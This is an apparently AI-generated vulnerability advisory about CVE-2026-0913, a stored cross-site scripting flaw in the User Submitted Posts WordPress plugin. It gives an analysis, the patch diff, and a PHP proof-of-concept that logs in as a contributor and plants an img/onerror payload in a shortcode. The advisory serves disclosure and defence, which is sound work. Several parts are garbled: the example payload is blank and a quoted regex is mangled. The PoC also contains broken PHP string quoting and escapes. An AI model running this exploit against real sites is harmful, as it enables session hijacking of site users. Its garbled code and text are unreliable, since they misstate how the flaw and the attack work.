Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0913: User Submitted Posts <= 20260110 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'usp_access' Shortcode (user-submitted-posts)

CVE ID CVE-2026-0913
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 20260110
Patched Version 20260113
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0913:
The User Submitted Posts WordPress plugin contains an authenticated stored cross-site scripting (XSS) vulnerability in its ‘usp_access’ shortcode. The vulnerability affects all plugin versions up to and including 20260110. Attackers with Contributor-level or higher permissions can inject malicious scripts into pages or posts. These scripts execute when other users view the compromised content. The CVSS score of 6.4 reflects the need for authentication and the impact of stored XSS.

The root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The vulnerable function `usp_access()` in `/user-submitted-posts/library/shortcode-access.php` processes the ‘deny’ and ‘content’ parameters. The original code used a simple regex filter (`preg_replace(‘#(.*)#is’, ”, $deny)`) to remove script tags. This filter was insufficient because it only matched complete “ tags. Attackers could bypass this filter by injecting event handlers or other JavaScript payloads within HTML attributes. The vulnerability also existed in the `usp_visitor()` and `usp_member()` functions within the same file.

Exploitation requires an authenticated attacker with at least Contributor permissions. The attacker creates or edits a post or page containing the shortcode `[usp_access cap=”read” deny=”INJECTED_PAYLOAD”][/usp_access]`. The payload replaces `INJECTED_PAYLOAD` with malicious JavaScript. For example, a payload could be ``. The plugin processes the ‘deny’ attribute through the vulnerable sanitization logic. When a user without the required capability views the page, the plugin outputs the unsanitized ‘deny’ message, executing the script in the victim’s browser.

The patch replaces the inadequate regex filter with WordPress’s secure `wp_kses_post()` function. In the patched version, lines 20 and 29 in `shortcode-access.php` now apply `$deny = wp_kses_post($deny);` and `$content = wp_kses_post($content);`. This function strips all disallowed HTML and attributes according to the `post` context rules, effectively neutralizing XSS payloads. The patch also updates the `usp_visitor()` and `usp_member()` functions with the same secure sanitization. The plugin version number increments from 20260110 to 20260113 in `user-submitted-posts.php`.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of a victim’s WordPress session. This can lead to session hijacking, account takeover, or administrative actions if a high-privileged user views the malicious content. Attackers could deface sites, redirect users, or steal sensitive data from the browser. The stored nature of the vulnerability means a single injection can affect multiple users over time.

Differential between vulnerable and patched code

Code Diff
--- a/user-submitted-posts/library/shortcode-access.php
+++ b/user-submitted-posts/library/shortcode-access.php
@@ -1,17 +1,17 @@
 <?php // User Submitted Posts - Access Control

 /*
-	Shortcode: require login based on capability
+	Shortcode: display content based on user capability
 	Syntax: [usp_access cap="read" deny=""][/usp_access]
 	Can use {tag} to output <tag>
-	See @ https://codex.wordpress.org/Roles_and_Capabilities#Capabilities
+	https://wordpress.org/documentation/article/roles-and-capabilities/
 */
+
 if (!function_exists('usp_access')) :
+
 function usp_access($attr, $content = null) {
-	extract(shortcode_atts(array(
-		'cap'  => 'read',
-		'deny' => '',
-	), $attr));
+
+	extract(shortcode_atts(array('cap' => 'read', 'deny' => ''), $attr));

 	// deny message

@@ -20,7 +20,7 @@
 	$deny = str_replace("{", "<", $deny);
 	$deny = str_replace("}", ">", $deny);

-	$deny = preg_replace('#<script(.*)>(.*)</script>#is', '', $deny);
+	$deny = wp_kses_post($deny);

 	// content

@@ -29,71 +29,112 @@
 	$content = str_replace("{", "<", $content);
 	$content = str_replace("}", ">", $content);

-	$content = preg_replace('#<script(.*)>(.*)</script>#is', '', $content);
+	$content = wp_kses_post($content);

 	//

 	$caps = array_map('trim', explode(',', $cap));

 	foreach ($caps as $c) {
+
 		if (current_user_can($c) && !is_null($content) && !is_feed()) return do_shortcode($content);
+
 	}

 	return $deny;
+
 }
+
 add_shortcode('usp_access', 'usp_access');
+
 endif;



 /*
-	Shortcode: show content to visitors
+	Shortcode: display content to visitors (not logged in)
 	Syntax: [usp_visitor deny=""][/usp_visitor]
 	Can use {tag} to output <tag>
 */
+
 if (!function_exists('usp_visitor')) :
+
 function usp_visitor($attr, $content = null) {
-	extract(shortcode_atts(array(
-		'deny' => '',
-	), $attr));
+
+	extract(shortcode_atts(array('deny' => ''), $attr));
+
+	// deny message
+
+	$deny = htmlspecialchars($deny, ENT_QUOTES);

 	$deny = str_replace("{", "<", $deny);
 	$deny = str_replace("}", ">", $deny);

-	$deny    = htmlspecialchars($deny, ENT_QUOTES);
+	$deny = wp_kses_post($deny);
+
+	// content
+
 	$content = htmlspecialchars($content, ENT_QUOTES);

+	$content = str_replace("{", "<", $content);
+	$content = str_replace("}", ">", $content);
+
+	$content = wp_kses_post($content);
+
+	//
+
 	if ((!is_user_logged_in() && !is_null($content)) || is_feed()) return do_shortcode($content);

 	return $deny;
+
 }
+
 add_shortcode('usp_visitor', 'usp_visitor');
+
 endif;



 /*
-	Shortcode: show content to members
+	Shortcode: display content to members (logged in)
 	Syntax: [usp_member deny=""][/usp_member]
 	Can use {tag} to output <tag>
 */
+
 if (!function_exists('usp_member')) :
+
 function usp_member($attr, $content = null) {
-	extract(shortcode_atts(array(
-		'deny' => '',
-	), $attr));
+
+	extract(shortcode_atts(array('deny' => ''), $attr));
+
+	// deny message
+
+	$deny = htmlspecialchars($deny, ENT_QUOTES);

 	$deny = str_replace("{", "<", $deny);
 	$deny = str_replace("}", ">", $deny);

-	$deny    = htmlspecialchars($deny, ENT_QUOTES);
+	$deny = wp_kses_post($deny);
+
+	// content
+
 	$content = htmlspecialchars($content, ENT_QUOTES);

+	$content = str_replace("{", "<", $content);
+	$content = str_replace("}", ">", $content);
+
+	$content = wp_kses_post($content);
+
+	//
+
 	if (is_user_logged_in() && !is_null($content) && !is_feed()) return do_shortcode($content);

 	return $deny;
+
 }
+
 add_shortcode('usp_member', 'usp_member');
+
 endif;


@@ -101,16 +142,26 @@
 /*
 	Shortcode Empty Paragraph Fix
 */
+
 if (!function_exists('usp_shortcode_empty_p_fix')) :
+
 function usp_shortcode_empty_p_fix($content) {
+
     $array = array(
+
         '<p>['    => '[',
         ']</p>'   => ']',
         ']<br />' => ']',
         ']<br>'   => ']'
+
     );
+
     $content = strtr($content, $array);
+
     return $content;
+
 }
+
 add_filter('the_content', 'usp_shortcode_empty_p_fix');
-endif;
+
+endif;
 No newline at end of file
--- a/user-submitted-posts/user-submitted-posts.php
+++ b/user-submitted-posts/user-submitted-posts.php
@@ -10,8 +10,8 @@
 	Contributors: specialk
 	Requires at least: 4.7
 	Tested up to: 6.9
-	Stable tag: 20260110
-	Version:    20260110
+	Stable tag: 20260113
+	Version:    20260113
 	Requires PHP: 5.6.20
 	Text Domain: usp
 	Domain Path: /languages
@@ -38,7 +38,7 @@
 if (!defined('ABSPATH')) die();

 if (!defined('USP_WP_VERSION')) define('USP_WP_VERSION', '4.7');
-if (!defined('USP_VERSION'))    define('USP_VERSION', '20260110');
+if (!defined('USP_VERSION'))    define('USP_VERSION', '20260113');
 if (!defined('USP_PLUGIN'))     define('USP_PLUGIN', 'User Submitted Posts');
 if (!defined('USP_FILE'))       define('USP_FILE', plugin_basename(__FILE__));
 if (!defined('USP_PATH'))       define('USP_PATH', plugin_dir_path(__FILE__));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0913 - User Submitted Posts <= 20260110 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'usp_access' Shortcode

<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload to inject into the 'deny' attribute of the usp_access shortcode.
// This uses an img tag with an onerror handler to execute JavaScript.
$payload = '<img src=x onerror="alert(`XSS via CVE-2026-0913`)">';

// The shortcode with the malicious payload.
$shortcode_content = "[usp_access cap="manage_options" deny="{$payload}"]Access Denied[/usp_access]";

// Create a new post with the malicious shortcode.
$post_data = [
    'post_title'   => 'Test Post with XSS',
    'post_content' => $shortcode_content,
    'post_status'  => 'draft', // Contributor can create drafts.
    'post_type'    => 'post'
];

// Initialize cURL session for login.
$ch = curl_init();

// First, get the login page to retrieve the nonce.
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$login_page = curl_exec($ch);

// Extract the login nonce (WordPress uses 'log' and 'pwd' fields, nonce is typically in _wpnonce).
// This is a simplified example; real extraction may require parsing.
preg_match('/name="_wpnonce" value="([^"]+)"/', $login_page, $matches);
$nonce = $matches[1] ?? '';

// Perform login.
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => 'http://vulnerable-wordpress-site.com/wp-admin/',
    'testcookie' => '1',
    '_wpnonce' => $nonce
];

curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_result = curl_exec($ch);

// Check if login succeeded by looking for admin dashboard.
if (strpos($login_result, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Now create the malicious post.
// Get the nonce for creating a post (from the post-new.php page).
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, 0);
$post_new_page = curl_exec($ch);

// Extract the nonce for the post creation (meta-box-order-nonce or _wpnonce).
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_new_page, $matches);
$post_nonce = $matches[1] ?? '';

// Prepare POST data for creating the post.
$post_fields = array_merge($post_data, [
    '_wpnonce' => $post_nonce,
    'action' => 'editpost',
    'save' => 'Save Draft'
]);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$post_result = curl_exec($ch);

// Check for success.
if (strpos($post_result, 'Post published.') !== false || strpos($post_result, 'Post draft updated.') !== false) {
    echo "Malicious post created successfully.n";
    echo "Visit the draft post as a user without 'manage_options' capability to trigger the XSS.n";
} else {
    echo "Post creation may have failed. Check permissions and nonce.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School